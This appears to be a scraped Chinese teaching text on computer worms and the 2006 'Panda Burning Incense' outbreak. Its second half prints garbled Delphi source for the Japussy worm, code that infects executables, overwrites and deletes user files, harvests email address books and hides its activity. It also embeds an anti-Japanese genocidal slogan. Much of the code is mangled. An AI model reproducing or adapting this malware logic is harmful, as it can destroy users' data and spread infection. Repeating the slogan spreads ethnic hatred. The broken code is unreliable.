1、这一病毒利用了微软视窗操作系统的漏洞,计算机感染这一病毒后,会不断自动拨号上网,并利用文件中的地址信息或者网络共享进行传播,最终破坏用户的大部分重要数据。 蠕虫病毒是自包含的程序(或是一套程序),它能传播它自身功能的拷贝或它的某些部分到其他的计算机系统中(通常是经过网络连接)。 请注意,与一般病毒不同,蠕虫不需要将其自身附着到宿主程序,有两种类型的蠕虫:主机蠕虫与网络蠕虫。主计算机蠕虫完全包含在它们运行的计算机中,并且使 用网络的连接仅将自身拷贝到其他的计算机中,主计算机蠕虫在将其自身的拷贝加入到另外的主机后,就会终止它自身(因此在任意给定的时刻,只有一个蠕虫的拷 贝运行),这种蠕虫有时也叫野
2、兔。 蠕虫一般不采取利用pe格式插入文件的方法,而是复制自身在互联网环境下进行传播,病毒的传染能力主要是针对计算机的文件系统而言,而蠕虫病毒的传染目 标是互联网的所有计算机。局域网条件下的共享文件夹,电子email,网络中的恶意网页,大量存在着漏洞的服务器等都成为蠕虫传播的良好途径。 蠕虫和传统病毒的区别:传统病毒主要攻击的是文件系统,在其传染的过程中,计算机使用者是传染的触发者,是传染的关键环节,使用者计算机知识水平的高低常常决定了传统病毒所能造成的破坏程度;蠕虫主要是利用计算机系统漏洞进行传染,在搜索到网络中存在漏洞的计算机后,主动进行攻击。在传染的过程中,与计算机操作者是否进行操作无关,
3、从而与使用者的计算机知识水平无关。2)蠕虫的基本程序结构传播模块:负责蠕虫的传播,通过检查主机或远程计算机的地址库,找到可进一步传染的其他计算机。隐藏模块:侵入主机后,隐藏蠕虫程序,防止被用户发现。目的功能模块:实现对计算机的控制、监视或破坏等功能。 传播模块由可以分为三个基本模块:扫描模块、攻击模块和复制模块。蠕虫程序功能模型也可以扩展为如下的形式:3)蠕虫程序的一般传播过程扫描:由蠕虫的扫描功能模块负责探测存在漏洞的主机。当程序向某个主机发送探测漏洞的信息并收到成功的反馈信息后,就得到一个可传播的对象。攻击:攻击模块按漏洞攻击步骤自动攻击步骤1中找到的对象,取得该主机的权限(一般为管理员权
4、限),获得一个shell。复制:复制模块通过原主机和新主机的交互将蠕虫程序复制到新主机并启动。 蠕虫将自身复制到某台计算机之前,也会试图判断该计算机以前是都已被感染过。在分布式系统中,蠕虫可能会以系统程序名或不易被操作系统察觉的名字来为自己 命名,从而伪装自己。同时,我们也可以看到,传播模块实现的实际上是自动入侵的功能。所以蠕虫的传播技术是蠕虫技术的首要技术,没有蠕虫的传播技术,也就 谈不上什么蠕虫技术了。“熊猫烧香”蠕虫病毒1)“熊猫烧香”档案 又名:尼亚姆、男生、worm.whBoy、worm.nimaya 后又化身为:“金猪报喜” 病毒类型:蠕虫病毒 影响系统:Windows 9X/ME
5、/NT/2000/XP/2003/Vista/72)“熊猫烧香”病毒特点 2006年底,我国互联网上大规模爆发“熊猫烧香”病毒及其变种,该病毒通过多种方式进行传播,同时该病毒还具有盗取用户游戏账号、QQ账号等功能。该病 毒传播速度快,危害围广,截至案发为止,已有上百万个人用户、网吧及企业局域网用户遭受感染和破坏,引起社会各界高度关注。瑞星2006安全报告将 其列为十大病毒之首,在2006年度中国计算机病毒疫情和互联网安全报告的十大病毒排行中一举成为“毒王”。 “熊猫烧香”,是一个感染型的蠕虫病毒,它能感染系统中exe,pif,src,html,asp等文件,它还能中止大量的反病毒软件进程并且会
6、 删除扩展名为gho的文件,该文件是一系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改 成熊猫举着三根香的模样。“熊猫烧香”源码分析 含有病毒体的文件被运行后,病毒将自身复制至系统目录,同时修改注册表将自身设置为开机启动项,并遍历各个驱动器,将自身写入磁盘根目录下,增加一个 Autorun.inf文件,使得用户打开该磁盘时激活病毒体。随后病毒体创建一个线程进行本地文件感染,同时创建另外一个线程连接下载DOS程序发 动恶意攻击。 下面,我们分析一下用delphi语言描述的“熊猫烧香”的主要源代码:program Japussy;uses
7、Windows, SysUtils, Classes, Graphics, ShellAPI, Registry;constHeaderSize = 82432; /病毒体的大小IconOffset = $12EB8; /PE文件主图标的偏移量/查找2800000020的十六进制字符串可以找到主图/标的偏移量HeaderSize = 38912; /Upx压缩过病毒体的大小IconOffset = $92BC; /Upx压缩过PE文件主图标的偏移量/Upx 1.24W 用法: upx -9 -8086 Japussy.exeIconSize = $2E8; /PE文件主图标的大小-744字节I
8、conTail = IconOffset + IconSize; /PE文件主图标的尾部ID = $44444444; /感染标记/垃圾码,以备写入Catchword = If a race need to be killed out, it must be Yamato. +If a country need to be destroyed, it must be Japan! * W32.Japussy.Worm.A *;$R *.RESfunction RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;stdcal
9、l; external Kernel32.dll/函数声明varTmpFile: string;Si: STARTUPINFO;Pi: PROCESS_INFORMATION;IsJap: Boolean = False; /日文操作系统标记 =判断是否为Win9x= function IsWin9x: Boolean;Ver: TOSVersionInfo;beginResult := False;Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);if not GetVersionEx(Ver) thenExit;if (Ver.dwPlat
10、formID = VER_PLATFORM_WIN32_WINDOWS) then /Win9x= True;end;=在流之间复制= procedure CopyStream(Src: TStream; sStartPos: Dst:dStartPos: Count: Integer);sCurPos, dCurPos:sCurPos := Src.Position;dCurPos := Dst.Position;Src.Seek(sStartPos, 0);Dst.Seek(dStartPos, 0);Dst.CopyFrom(Src, Count);Src.Seek(sCurPos, 0
11、);Dst.Seek(dCurPos, 0);=将宿主文件从已感染的PE文件中分离出来,以备使用= procedure ExtractFile(FileName: string);sStream, dStream: TFileStream;trysStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);dStream := TFileStream.Create(FileName, fmCreate);sStream.Seek(HeaderSize, 0); /跳过头部的病毒部分dStream.CopyFr
12、om(sStream, sStream.Size - HeaderSize);finallydStream.Free;sStream.Free;except=填充STARTUPINFO结构= procedure FillStartupInfo(var Si: State: Word);Si.cb := SizeOf(Si);Si.lpReserved := nil;Si.lpDesktop :Si.lpTitle :Si.dwFlags := STARTF_USESHOWWINDOW;Si.wShowWindow := State;Si.cbReserved2 := 0;Si.lpReserv
13、ed2 :=发带毒= procedure SendMail; /此处省略了带危害性代码=感染PE文件= procedure InfectOneFile(FileName:HdrStream, SrcStream:IcoStream, DstStream: TMemoryStream;iID: LongInt;aIcon: TIcon;Infected, IsPE:i:Buf: array0.1 of Char;try/出错则文件正在被使用,退出if CompareText(FileName, JAPUSSY.EXE) = 0 then /是自己则不感染Infected :IsPE :SrcSt
14、ream := TFileStream.Create(FileName, fmOpenRead);for i := 0 to $108 do/检查PE文件头SrcStream.Seek(i, soFromBeginning);SrcStream.Read(Buf, 2);if (Buf0 = #80) and (Buf1 = #69) then/PE标记 /是PE文件Break;SrcStream.Seek(-4, soFromEnd);/检查感染标记SrcStream.Read(iID, 4);if (iID = ID) or (SrcStream.Size 10240) then /太小的
15、文件不感染SrcStream.Free;if Infected or (not IsPE) then /如果感染过了或不是PE文件则退出IcoStream := TMemoryStream.Create;DstStream :aIcon := TIcon.Create;/得到被感染文件的主图标(744字节),存入流aIcon.ReleaseHandle;aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);aIcon.SaveToStream(IcoStream);aIcon.Free;/头文件HdrStream :/写入病毒体主
16、图标之前的数据CopyStream(HdrStream, 0, DstStream, 0, IconOffset);/写入目前程序的主图标CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);/写入病毒体主图标到病毒体尾部之间的数据CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);/写入宿主程序CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);/写入已感
17、染的标记DstStream.Seek(0, 2);iID := $44444444;DstStream.Write(iID, 4);HdrStream.Free;IcoStream.Free;DstStream.SaveToFile(FileName); /替换宿主文件DstStream.Free;except;=将目标文件写入垃圾码后删除=procedure SmashFile(FileName:FileHandle:i, Size, Mass, Max, Len:SetFileAttributes(PChar(FileName), 0);/去掉只读属性FileHandle := FileO
18、pen(FileName, fmOpenWrite);/打开文件Size := GetFileSize(FileHandle, nil);/文件大小i :Randomize;Max := Random(15); /写入垃圾码的随机次数if Max 5 then= 5;Mass := Size div Max; /每个间隔块的大小Len := Length(Catchword);while i Max doFileSeek(FileHandle, i * Mass, 0);/定位/写入垃圾码,将文件彻底破坏掉FileWrite(FileHandle, Catchword, Len);Inc(i)
19、;FileClose(FileHandle);/关闭文件DeleteFile(PChar(FileName);/删除之=获得可写的驱动器列表=function GetDrives:DiskType: Word;D: Char;Str:= 0 to 25 do /遍历26个字母D := Chr(i + 65);Str := D + :DiskType := GetDriveType(PChar(Str);/得到本地磁盘和网络盘if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then= Result + D;=遍历目录,感染和摧毁文
20、件=procedure LoopFiles(Path, Mask:i, Count:Fn, Ext:SubDir: TStrings;SearchRec: TSearchRec;Msg: TMsg;function IsValidDir(SearchRec: TSearchRec):if (SearchRec.Attr 16) and (SearchRec.Name.) and(SearchRec.Name.) then= 0/不是目录else if (SearchRec.Attr = 16) and (SearchRec.Name= 1 /不是根目录else Result := 2; /是根
21、目录if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) thenrepeatPeekMessage(Msg, 0, 0, 0, PM_REMOVE); /调整消息队列,避免引起怀疑if IsValidDir(SearchRec) = 0 thenFn := Path + SearchRec.Name;Ext := UpperCase(ExtractFileExt(Fn);if (Ext = .EXE) or (Ext = .SCRInfectOneFile(Fn);/感染可执行文件endelse if (Ext = .HTM.HTML.A
22、SP/感染HTML和ASP文件,将Base64编码后的病毒写入/感染浏览此网页的所有用户else if Ext = .WAB then /Outlook地址簿文件/获取Outlook地址.ADC then /Foxmail地址自动完成文件/获取Foxmail地址IND then /Foxmail地址簿文件elseif IsJap then.DOC.XLS.MDB) or(Ext = .MP3.RM.RA.WMA.ZIP.RAR.MPEG.ASF.JPG.JPEG.GIF.SWF.PDF.CHM.AVISmashFile(Fn); /摧毁文件/感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑Sleep(200);until (FindNext(SearchRec) 0);FindClose(SearchRec);SubDir := TStringList.Create;if (FindFirst(Path + *.*, faDirectory, SearchRec) = 0) thenif IsValidDir(SearchRec) = 1 thenSubDir.Add(SearchRec.Name);Count := SubDir.Count - 1;= 0 to Count doLoopFiles(Path + SubDir.Strings + , Mask
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1